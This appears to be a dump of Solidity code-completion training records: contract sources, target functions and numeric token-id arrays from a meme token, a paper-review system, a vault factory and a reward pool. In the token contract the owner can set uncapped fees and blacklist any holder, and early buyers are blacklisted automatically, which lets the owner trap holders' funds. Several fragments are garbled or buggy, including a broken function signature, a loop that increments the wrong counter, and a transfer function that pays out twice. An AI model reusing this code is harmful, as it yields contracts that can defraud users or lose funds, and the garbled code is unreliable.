buyLiquidityFee = liquidityFee; buyTxFee = txFee; } function setSellFee(uint256 liquidityFee, uint256 txFee) external onlyOwner() { sellLiquidityFee = liquidityFee; sellTxFee = txFee; } function setMaxTxLimit(uint256 newLimit) external onlyOwner() { maxTxLimit = newLimit * (10**9); } function setMaxWalletLimit(uint256 newLimit) external onlyOwner() { maxWalletLimit = newLimit * (10**9); } function setSwapAtAmount(uint256 amountToSwap) external onlyOwner() { swapAtAmount = amountToSwap * (10**9); } function updateDevWallet(address newWallet) external onlyOwner() { dev = newWallet; } function addBlacklist(address account) external onlyOwner() { require(!isBlacklisted[account], "Blacklist: Already blacklisted"); require(account != uniswapV2Pair, "Cannot blacklist pair"); _setBlacklist(account, true); } function removeBlacklist(address account) external onlyOwner() { require(isBlacklisted[account], "Blacklist: Not blacklisted"); _setBlacklist(account, false); } function launchNow() external onlyOwner() { require(!isLaunched, "Contract is already launched"); isLaunched = true; launchBlock = block.number; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "transfer from the zero address"); require(to != address(0), "transfer to the zero address"); require(amount <= maxTxLimit || isExcludedFromTxLimit[from] || isExcludedFromTxLimit[to], "Tx Amount too large"); require(balanceOf(to).add(amount) <= maxWalletLimit || isExcludedFromWalletLimit[to], "Transfer will exceed wallet limit"); require(isLaunched || isExcludedFromFees[from] || isExcludedFromFees[to], "Waiting to go live"); require(!isBlacklisted[from], "Sender is blacklisted"); if(amount == 0) { super._transfer(from, to, 0); return; } uint256 totalTokensForFee = tokensForLiquidity + tokensForTax; bool canSwap = totalTokensForFee >= swapAtAmount; if( from != uniswapV2Pair && canSwap && !swapping ) { swapping = true; swapBack(totalTokensForFee); swapping = false; } else if( from == uniswapV2Pair && to != uniswapV2Pair && block.number < launchBlock + 2 && !isExcludedFromFees[to] ) { _setBlacklist(to, true); } bool takeFee = !swapping; if(isExcludedFromFees[from] || isExcludedFromFees[to]) { takeFee = false; } if(takeFee) { uint256 fees; // on sell if (to == uniswapV2Pair) { uint256 sellTotalFees = sellLiquidityFee.add(sellTxFee); fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(sellLiquidityFee).div(sellTotalFees)); tokensForTax = tokensForTax.add(fees.mul(sellTxFee).div(sellTotalFees)); } // on buy & wallet transfers else { uint256 buyTotalFees = buyLiquidityFee.add(buyTxFee); fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity = tokensForLiquidity.add(fees.mul(buyLiquidityFee).div(buyTotalFees)); tokensForTax = tokensForTax.add(fees.mul(buyTxFee).div(buyTotalFees)); } if(fees > 0){ super._transfer(from, address(this), fees); amount = amount.sub(fees); } } super._transfer(from, to, amount); } function swapBack(uint256 totalTokensForFee) private { uint256 toSwap = swapAtAmount; // Halve the amount of liquidity tokens uint256 liquidityTokens = toSwap.mul(tokensForLiquidity).div(totalTokensForFee).div(2); uint256 taxTokens = toSwap.sub(liquidityTokens).sub(liquidityTokens); uint256 amountToSwapForETH = toSwap.sub(liquidityTokens); _swapTokensForETH(amountToSwapForETH); uint256 ethBalance = address(this).balance; uint256 ethForTax = ethBalance.mul(taxTokens).div(amountToSwapForETH); uint256 ethForLiquidity = ethBalance.sub(ethForTax); tokensForLiquidity = tokensForLiquidity.sub(liquidityTokens.mul(2)); tokensForTax = tokensForTax.sub(toSwap.sub(liquidityTokens.mul(2))); payable(address(dev)).transfer(ethForTax); _addLiquidity(liquidityTokens, ethForLiquidity); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, deployer, block.timestamp ); } function _swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _setBlacklist(address account, bool value) internal { isBlacklisted[account] = value; } receive() external payable {} }
exclude from fees, wallet limit and transaction limit
function _beforeTokenTransfer( address from, address to, uint256 amount } constructor(address _dev) public ERC20("Brother Token", "BROTHER") { uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _approve(address(this), address(uniswapV2Router), type(uint256).max); excludeFromAllLimits(owner(), true); excludeFromAllLimits(address(this), true); excludeFromWalletLimit(uniswapV2Pair, true); dev = _dev; deployer = _msgSender(); _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again _mint(owner(), _tTotal);
10,648,610
[ 1, 10157, 628, 1656, 281, 16, 9230, 1800, 471, 2492, 1800, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 5771, 1345, 5912, 12, 203, 3639, 1758, 628, 16, 203, 3639, 1758, 358, 16, 203, 3639, 2254, 5034, 3844, 203, 97, 203, 203, 565, 3885, 12, 2867, 389, 5206, 13, 1071, 4232, 39, 3462, 2932, 38, 303, 1136, 3155, 3113, 315, 38, 1457, 19905, 7923, 288, 203, 203, 3639, 640, 291, 91, 438, 58, 22, 4154, 273, 467, 984, 291, 91, 438, 58, 22, 1733, 12, 318, 291, 91, 438, 58, 22, 8259, 18, 6848, 1435, 2934, 2640, 4154, 12, 2867, 12, 2211, 3631, 640, 291, 91, 438, 58, 22, 8259, 18, 59, 1584, 44, 10663, 203, 3639, 389, 12908, 537, 12, 2867, 12, 2211, 3631, 1758, 12, 318, 291, 91, 438, 58, 22, 8259, 3631, 618, 12, 11890, 5034, 2934, 1896, 1769, 203, 203, 203, 3639, 4433, 1265, 1595, 12768, 12, 8443, 9334, 638, 1769, 203, 3639, 4433, 1265, 1595, 12768, 12, 2867, 12, 2211, 3631, 638, 1769, 203, 3639, 4433, 1265, 16936, 3039, 12, 318, 291, 91, 438, 58, 22, 4154, 16, 638, 1769, 203, 203, 3639, 4461, 273, 389, 5206, 31, 203, 3639, 7286, 264, 273, 389, 3576, 12021, 5621, 203, 203, 5411, 389, 81, 474, 353, 392, 2713, 445, 316, 4232, 39, 3462, 18, 18281, 716, 353, 1338, 2566, 2674, 16, 203, 5411, 471, 385, 16791, 506, 2566, 14103, 3382, 203, 3639, 389, 81, 474, 12, 8443, 9334, 389, 88, 5269, 1769, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity 0.5.0; pragma experimental ABIEncoderV2; import "./CAJCoin.sol"; contract Review { //token contract CAJCoin tokenContract; address public devAddress; //Paper struct struct Paper { //id of the paper uint256 id; //file url of paper string location; //title of paper string title; //paper tags string[] tags; //comments string[] comments; // addr uploader of paper address author; //name of author & creds string authorNameCreds; //id of previous paper if this is a revision uint256 prevId; //id of nect paper if this is an old copy uint256 nextId; //state of the paper, //(0 unreviewed, 1 ready for review, 2 under review (only professionals can review), 3 published, 4 old version of a different paper, 5 for dead) uint state; //vote related stuff uint256 userVotes; uint256 userScore; uint reviewerVotes; uint reviewerScore; //date uint256 date; } // paper ids to paper objects mapping(uint256 => Paper) private papers; //mapping of addresses to booleans representing wether an address is "verified" mapping(address => bool) private verifiedUsers; //constant; max number of professional reviewers until paper is pushed to being reviewed and published uint256 NUMBER_OF_REVIEWERS = 10; //mapping of an address to the topics the verified user is allowed to review mapping(address => string[]) allowedReviewerTopics; //mapping of reviewers currently reviewing a paper mapping(uint256 => address[]) private reviewersForPaper; //track if reviewers and users have alreayd voted on a paper mapping(uint256 => mapping(address => bool)) private reviewerHasVoted; mapping(uint256 => mapping(address => bool)) private userHasVoted; //next id to be assigned uint256 private currentId; // constructor constructor() public {//(uint threshold) public { // 0 is used as a null value for ids currentId = 1; devAddress = msg.sender; verifiedUsers[devAddress] = true; /* string memory _title = "Sample Paper 1"; string memory _location = ""; string[] memory _tags; _tags[0] = "anime"; _tags[1] = "deep learning"; string memory _authorNameCreds = "Joe Broder"; uint256 _prevId = 0; //papers[1] = Paper(currentId, _location, _title, _tags, new string[](0), msg.sender, _authorNameCreds, _prevId, 0, 0, 0, 0, 0, 0, block.timestamp); verifiedUsers[devAddress] = true; currentId++; string memory yeet1 = "Sample Paper 2"; string memory yeet2 = ""; string[] memory t; t[0] = "anime"; t[1] = "deep learning"; string memory yeet3 = "Olivia Lee"; uint256 yeet4 = 0; //papers[2] = Paper(currentId, yeet2, yeet1, t, new string[](0), msg.sender, yeet3, yeet4, 0, 0, 0, 0, 0, 0, block.timestamp); currentId++; string memory one = "Sample Paper 3"; string memory two = ""; string[] memory more; more[0] = "anime"; more[1] = "deep learning"; string memory three = "Jen Hu, Susan Lin"; uint256 four = 0; //papers[3] = Paper(currentId, two, one, more, new string[](0), msg.sender, three, four, 0, 0, 0, 0, 0, 0, block.timestamp); currentId++; */ } function sample () public returns (bool) { string memory _title = "Sample Paper 1"; string memory _location = ""; string[] memory _tags; _tags[0] = "anime"; _tags[1] = "deep learning"; string memory _authorNameCreds = "Joe Broder"; uint256 _prevId = 0; papers[1] = Paper(currentId, _location, _title, _tags, new string[](0), msg.sender, _authorNameCreds, _prevId, 0, 0, 0, 0, 0, 0, block.timestamp); currentId++; string memory yeet1 = "Sample Paper 2"; string memory yeet2 = ""; string[] memory t; t[0] = "anime"; t[1] = "deep learning"; string memory yeet3 = "Olivia Lee"; uint256 yeet4 = 0; papers[2] = Paper(currentId, yeet2, yeet1, t, new string[](0), msg.sender, yeet3, yeet4, 0, 0, 0, 0, 0, 0, block.timestamp); currentId++; string memory one = "Sample Paper 3"; string memory two = ""; string[] memory more; more[0] = "anime"; more[1] = "deep learning"; string memory three = "Jen Hu, Susan Lin"; uint256 four = 0; papers[3] = Paper(currentId, two, one, more, new string[](0), msg.sender, three, four, 0, 0, 0, 0, 0, 0, block.timestamp); currentId++; return true; } //getter for current ID; actually the next id to be assigned function getCurrentID() public returns (uint256 id) { return currentId; } //check if a paper exists function paperExists(uint256 _id) public returns (bool exists) { return _id < getCurrentID() && _id > 0; } // add a new paper with the specified fields function addPaper(string memory _title, string memory _location, string[] memory _tags, string memory _authorNameCreds, uint256 _prevID) public returns (bool success) { if (_prevID == 0 || (msg.sender == papers[_prevID].author) && papers[_prevID].state < 3) { papers[currentId] = Paper(currentId, _location, _title, _tags, new string[](0), msg.sender, _authorNameCreds, _prevID, 0, 0, 0, 0, 0, 0, block.timestamp); if (_prevID != 0) { papers[_prevID].nextId = currentId; papers[currentId].state = papers[_prevID].state; papers[_prevID].state = 4; } currentId++; return true; } return false; } //getter methods for papers function getPaperTitle(uint256 _id) public returns (string memory) { string memory title = papers[_id].title; return title; } function getPaperLocation(uint256 _id) public returns (string memory location) { location = papers[_id].location; } function getPaperTags(uint256 _id) public returns (string[] memory tags) { tags = papers[_id].tags; } function getPaperComments(uint256 _id) public returns (string[] memory comments) { comments = papers[_id].comments; } function getPaperAuthor(uint256 _id) public returns (address author) { author = papers[_id].author; } function getPaperAuthorName(uint256 _id) public returns (string memory author) { author = papers[_id].authorNameCreds; } function getPaperPrevId(uint256 _id) public returns (uint256 prevId) { prevId = papers[_id].prevId; } function getPaperNextId(uint256 _id) public returns (uint256 nextId) { nextId = papers[_id].nextId; } function getPaperState(uint256 _id) public returns (uint256 state) { state = papers[_id].state; } function getPaperVotes(uint256 _id) public returns (uint256[4] memory votes) { votes = [papers[_id].userScore, papers[_id].userVotes, papers[_id].reviewerScore, papers[_id].reviewerVotes]; } function getPaperDate(uint256 _id) public returns (uint256 date) { date = papers[_id].date; } //user signs up to review a paper function addReviewerForPaper(uint256 _id) public returns (bool success) { //first check if the paper can take more reviewers assert(_id < currentId); assert(papers[_id].state == 0); assert(reviewersForPaper[_id].length < NUMBER_OF_REVIEWERS); //check if user is a reviewer assert(verifiedUsers[msg.sender]); //check for tags, and if they match, add the user and return true //if this would reach the limit, change the state of the paper as well string[] memory topics = allowedReviewerTopics[msg.sender]; string[] memory tags = papers[_id].tags; for (uint i = 0; i < topics.length; i++) { for (uint j = 0; j < tags.length; i++) { if (true) { reviewersForPaper[_id].push(msg.sender); if (reviewersForPaper[_id].length == NUMBER_OF_REVIEWERS) { papers[_id].state = 2; //now, only professionals can review this paper } return true; } } } return false; } //comment on papers function addComment(uint256 _id, string memory _comment) public returns (bool success) { assert(bytes(_comment).length > 10); if (papers[_id].state < 3) { //if the paper is under review, only reviewers can comment if(papers[_id].state == 2) { address[] memory reviewers = reviewersForPaper[_id]; bool x = false; for (uint i = 0; i < reviewers.length; i++) { if (msg.sender == reviewers[i]) { x = true; break; } } if (x) { papers[_id].comments.push(_comment); } return x; } else { papers[_id].comments.push(_comment); return true; } } return false; } //get reviewers for a paper function getReviewersForPaper(uint256 _id) public returns (address[] memory reviewers) { reviewers = reviewersForPaper[_id]; } //get topics for reviewer function getTopicsForReviewer(address _reviewer) public returns (string[] memory topics) { topics = allowedReviewerTopics[_reviewer]; } //verify a user, only the dev account can do this because we onboard them function addVerifiedUser(address _user) public returns (bool success) { if (msg.sender == devAddress) { verifiedUsers[_user] = true; return true; } return false; } // reset the topics for a reviewer, only dev can do this function addTopicsForReviewer(address _user, string[] memory _topics) public returns (bool success) { if (msg.sender == devAddress) { allowedReviewerTopics[_user] = _topics; return true; } return false; } //reviewer votes on a paper function reviewerVoteOnPaper(uint256 _id, bool vote) public returns (bool success) { assert(verifiedUsers[msg.sender]); assert(reviewerHasVoted[_id][msg.sender] == false); address[] storage reviewers = reviewersForPaper[_id]; bool x = false; for (uint i = 0; i < reviewers.length; i++) { if (msg.sender == reviewers[i]) { x = true; break; } } if (x) { papers[_id].reviewerVotes += 1; if (vote) { papers[_id].reviewerScore += 1; } //check if paper is to be published or killed yet and distribute tokens if(papers[_id].reviewerScore >= 10 || (papers[_id].reviewerScore < 10 && papers[_id].reviewerVotes == NUMBER_OF_REVIEWERS)) { if (papers[_id].reviewerScore >= 10) { //publish papers[_id].state = 3; } else { //kill papers[_id].state = 5; } //distribute tokens uint256 amountToDistriute = getNumTokens(_id) / NUMBER_OF_REVIEWERS; for (uint i = 0; i < reviewers.length; i++) { x = tokenContract.collectTokens(_id, reviewers[i], amountToDistriute); } } } return x; } // vote function updates given paper (passed in id) with the vote associated with the msg.sender // method guards against double voting and staying within voting range [0, 10] function userVoteOnPaper(uint256 _id, uint256 _vote, uint256 _amount) public returns (bool success) { assert(_id < currentId); assert(_vote > 0 && _vote <= 10); assert(!userHasVoted[_id][msg.sender]); if (_amount < 1) { return false; } stakeTokens(_id, _amount); papers[_id].userScore += _vote; papers[_id].userVotes += 1; return true; } // stake tokens onto an existing paper (staked token value contributes to review process) function stakeTokens(uint256 _id, uint256 _amount) private returns (bool success) { assert(paperExists(_id)); assert(papers[_id].state == 0); assert(_amount >= 1); success = tokenContract.stakeTokens(msg.sender, _id, _amount); } // revokes all of a user's tokens from an old revision of a paper function revokeTokens(uint256 _id) public returns (bool success) { require(papers[_id].state == 4); //old draft or unreviewed uint256 amount = tokenContract.tokensStakedByUser(_id, msg.sender); return tokenContract.collectTokens(_id, msg.sender, amount); } //get current number of tokens for a paper function getNumTokens(uint256 _id) public returns (uint256) { return tokenContract.paperBalance(_id); } function setContract(address addr) public { assert(msg.sender == devAddress); tokenContract = CAJCoin(addr); } }
papers[2] = Paper(currentId, yeet2, yeet1, t, new string[](0), msg.sender, yeet3, yeet4, 0, 0, 0, 0, 0, 0, block.timestamp);
currentId++;
1,082,572
[ 1, 84, 438, 414, 63, 22, 65, 273, 20971, 12, 2972, 548, 16, 677, 73, 278, 22, 16, 677, 73, 278, 21, 16, 268, 16, 394, 533, 8526, 12, 20, 3631, 1234, 18, 15330, 16, 677, 73, 278, 23, 16, 677, 73, 278, 24, 16, 374, 16, 374, 16, 374, 16, 374, 16, 374, 16, 374, 16, 1203, 18, 5508, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 783, 548, 9904, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2017-2018 RigoBlock, Rigo Investment Sagl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.0; import { DragoRegistryFace as DragoRegistry } from "../../DragoRegistry/DragoRegistryFace.sol"; import { AuthorityFace as Authority } from "../../authorities/Authority/AuthorityFace.sol"; import { VaultEventfulFace as VaultEventful } from "../../VaultEventful/VaultEventfulFace.sol"; import { VaultFactoryLibrary, Vault } from "../VaultFactoryLibrary/VaultFactoryLibrary.sol"; import { OwnedUninitialized as Owned } from "../../../utils/Owned/OwnedUninitialized.sol"; import { VaultFactoryFace } from "./VaultFactoryFace.sol"; /// @title Vault Factory contract - allows creation of new vaults. /// @author Gabriele Rigo - <[email protected]> // solhint-disable-next-line contract VaultFactory is Owned, VaultFactoryFace { VaultFactoryLibrary.NewVault private libraryData; string public constant VERSION = "VF 0.5.2"; Data private data; struct Data { uint256 fee; address vaultRegistry; address payable vaultDao; address authority; mapping(address => address[]) vaults; } event VaultCreated( string name, string symbol, address indexed vault, address indexed owner, uint256 vaultId ); modifier whitelistedFactory(address _authority) { Authority auth = Authority(_authority); require(auth.isWhitelistedFactory(address(this))); _; } modifier whenFeePaid { require(msg.value >= data.fee); _; } modifier onlyOwner { require(msg.sender == owner); _; } modifier onlyVaultDao { require(msg.sender == data.vaultDao); _; } constructor( address _registry, address payable _vaultDao, address _authority) public { data.vaultRegistry = _registry; data.vaultDao = _vaultDao; data.authority = _authority; owner = msg.sender; } /* * CORE FUNCTIONS */ /// @dev allows creation of a new vault /// @param _name String of the name /// @param _symbol String of the symbol /// @return Bool the transaction executed correctly function createVault(string calldata _name, string calldata _symbol) external payable whenFeePaid returns (bool success) { DragoRegistry registry = DragoRegistry(data.vaultRegistry); uint256 regFee = registry.getFee(); uint256 vaultId = registry.dragoCount(); require(createVaultInternal(_name, _symbol, msg.sender, vaultId)); assert(registry.register.value(regFee)( libraryData.newAddress, _name, _symbol, vaultId, msg.sender) ); return true; } /// @dev Allows factory owner to update the address of the dao/factory /// @dev Enables manual update of dao for single vaults /// @param _targetVault Address of the target vault /// @param _vaultDao Address of the new vault dao function setTargetVaultDao(address _targetVault, address _vaultDao) external onlyOwner { Vault vault = Vault(_targetVault); vault.changeVaultDao(_vaultDao); } /// @dev Allows vault dao/factory to update its address /// @dev Creates internal record /// @param _newVaultDao Address of the vault dao function changeVaultDao(address payable _newVaultDao) external onlyVaultDao { data.vaultDao = _newVaultDao; } /// @dev Allows owner to update the registry /// @param _newRegistry Address of the new registry function setRegistry(address _newRegistry) external onlyOwner { data.vaultRegistry = _newRegistry; } /// @dev Allows owner to set the address which can collect creation fees /// @param _vaultDao Address of the new vault dao/factory function setBeneficiary(address payable _vaultDao) external onlyOwner { data.vaultDao = _vaultDao; } /// @dev Allows owner to set the vault creation fee /// @param _fee Value of the fee in wei function setFee(uint256 _fee) external onlyOwner { data.fee = _fee; } /// @dev Allows owner to collect fees function drain() external onlyOwner { data.vaultDao.transfer(address(this).balance); } /* * CONSTANT PUBLIC FUNCTIONS */ /// @dev Returns the address of the pool registry /// @return Address of the registry function getRegistry() external view returns (address) { return (data.vaultRegistry); } /// @dev Returns administrative data for this factory /// @return Address of the vault dao /// @return String of the version /// @return Number of the next vault from the registry function getStorage() external view returns ( address vaultDao, string memory version, uint256 nextVaultId ) { return ( vaultDao = data.vaultDao, version = VERSION, nextVaultId = getNextId() ); } /// @dev Returns the address of the logger contract /// @dev Queries from authority contract /// @return Address of the eventful contract function getEventful() external view returns (address) { Authority auth = Authority(data.authority); return auth.getVaultEventful(); } /// @dev Returns an array of vaults the owner has created /// @param _owner Address of the queried owner /// @return Array of vault addresses function getVaultsByAddress(address _owner) external view returns (address[] memory) { return data.vaults[_owner]; } /* * INTERNAL FUNCTIONS */ /// @dev Creates a vault and routes to eventful /// @param _name String of the name /// @param _symbol String of the symbol /// @param _owner Address of the owner /// @param _vaultId Number of the new vault Id /// @return Bool the transaction executed correctly function createVaultInternal( string memory _name, string memory _symbol, address _owner, uint256 _vaultId) internal returns (bool success) { Authority auth = Authority(data.authority); require(VaultFactoryLibrary.createVault( libraryData, _name, _symbol, _owner, _vaultId, data.authority) ); data.vaults[_owner].push(libraryData.newAddress); VaultEventful events = VaultEventful(auth.getVaultEventful()); require(events.createVault( _owner, libraryData.newAddress, _name, _symbol, _vaultId) ); auth.whitelistVault(libraryData.newAddress, true); auth.whitelistUser(_owner, true); emit VaultCreated(_name, _symbol, libraryData.newAddress, _owner, _vaultId); return true; } /// @dev Returns the next Id for a vault /// @return Number of the next Id from the registry function getNextId() internal view returns (uint256 nextVaultId) { DragoRegistry registry = DragoRegistry(data.vaultRegistry); nextVaultId = registry.dragoCount(); } }
CONSTANT PUBLIC FUNCTIONS/ @dev Returns the address of the pool registry @return Address of the registry
function getRegistry() external view returns (address) { return (data.vaultRegistry); }
15,857,330
[ 1, 25878, 17187, 13690, 55, 19, 225, 2860, 326, 1758, 434, 326, 2845, 4023, 327, 5267, 434, 326, 4023, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 29675, 1435, 203, 3639, 3903, 1476, 203, 3639, 1135, 261, 2867, 13, 203, 565, 288, 203, 3639, 327, 261, 892, 18, 26983, 4243, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1313161554/0x9D63D94A6f9a176B3F99108a08144cbB6Fd9Ea14/sources/contracts/orbital/distriburion/OrbitalGenesisRewardPool.sol
Safe ORBITAL transfer function, just in case if rounding error causes pool to not have enough ORBITALs.
function safeOrbitalTransfer(address _to, uint256 _amount) internal { uint256 _orbitalBalance = orbital.balanceOf(address(this)); if (_orbitalBalance > 0) { if (_amount > _orbitalBalance) { orbital.safeTransfer(_to, _orbitalBalance); orbital.safeTransfer(_to, _amount); } } }
16,934,101
